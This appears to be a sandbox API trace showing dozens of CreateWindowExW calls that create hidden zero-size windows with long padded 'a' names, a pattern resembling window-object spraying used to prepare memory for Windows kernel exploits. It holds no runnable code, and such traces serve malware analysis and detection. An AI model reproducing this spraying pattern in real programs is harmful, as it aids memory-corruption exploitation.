	[0072.485] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2022c
	[0072.487] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2022e
	[0072.488] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2020c
	[0072.489] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x2020e
	[0072.490] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10238
	[0072.491] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1023a
	[0072.492] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1023c
	[0072.493] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1023e
	[0072.494] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10240
	[0072.496] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10242
	[0072.497] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10244
	[0072.499] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10246
	[0072.500] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10248
	[0072.501] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1024a
	[0072.503] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1024c
	[0072.504] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1024e
	[0072.505] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10250
	[0072.506] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10252
	[0072.508] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10254
	[0072.509] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10256
	[0072.510] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10258
	[0072.511] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1025a
	[0072.512] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1025c
	[0072.515] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1025e
	[0072.516] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10260
	[0072.517] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10262
	[0072.519] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10264
	[0072.520] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10266
	[0072.521] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10268
	[0072.522] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1026a
	[0072.523] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1026c
	[0072.524] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1026e
	[0072.525] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10270
	[0072.527] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10272
	[0072.528] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10274
	[0072.529] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10276
	[0072.530] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10278
	[0072.531] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1027a
	[0072.532] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1027c
	[0072.533] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1027e
	[0072.534] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10280
	[0072.536] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10282
	[0072.537] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10284
	[0072.538] CreateWindowExW (dwExStyle=0x0, lpClassName="MyExtraWnd", lpWindowName="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaỹ矈", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10286
